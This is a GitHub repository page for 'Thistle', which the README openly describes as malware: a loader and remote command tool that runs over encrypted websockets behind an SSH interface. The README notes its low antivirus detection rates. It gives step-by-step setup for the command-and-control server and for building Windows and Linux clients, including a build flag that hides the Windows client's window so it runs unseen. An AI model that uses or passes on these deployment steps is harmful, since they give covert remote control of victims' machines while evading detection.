Skip to content

laprosa/Thistle

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

4 Commits
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Thistle

Thistle is simplistic based malware that offers a CLI interface over an already secure implentation: ssh

All communication between the client and server is done over encrypted websockets, with the option to download files. It's intended to be simple to keep the code small, and detections relatively low.

Main display

Rough Detections as of 5/8/24

enter image description here

Setup

To generate all your needed keys/certificates: openssl genpkey -algorithm RSA -out private.key -pkeyopt rsa_keygen_bits:2048 openssl genpkey -algorithm RSA -out server.key -pkeyopt rsa_keygen_bits:2048 openssl req -new -key server.key -out server.csr openssl x509 -req -days 3650 -in server.csr -signkey server.key -out server.crt

modify the username and password inside users.json as needed. to create a new bcrypt hashed password I just use : https://bcrypt-generator.com/

run the following command to keep the server running after you disconnect:

  • screen -dms Thistle ./thistle_server if you get permission denied error just run chmod +x thisle_server then retry

to connect to the server, run this command: ssh -T username@serverip -p2222 ^ That's for linux adapt as needed for putty or ssh on windows

Client setup:

  • modify the address in main.go from localhost to whatever the server ip is, or your domain if you are using one.

  • open a terminal in Thistle/Client/Windows

  • run go build (This will produce a GUI for testing purposes)

  • ensure connectivity, then rebuild without a gui:

  • go build -ldflags="-H=windowsgui"

  • if you are building from linux run it like this:

  • GOOS=windows go build -ldflags="-H=windowsgui"

  • For linux, you will need to change some environment variables.

  • when inside the linux folder, run the following in a powershell window -

  • $env:GOOS="linux"; $env:GOARCH="amd64"; $env:CGO_ENABLED="0"; go build -o thistle_linux.elf

  • This will build the linux client.

About

Simple malware loader over encrypted websockets

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages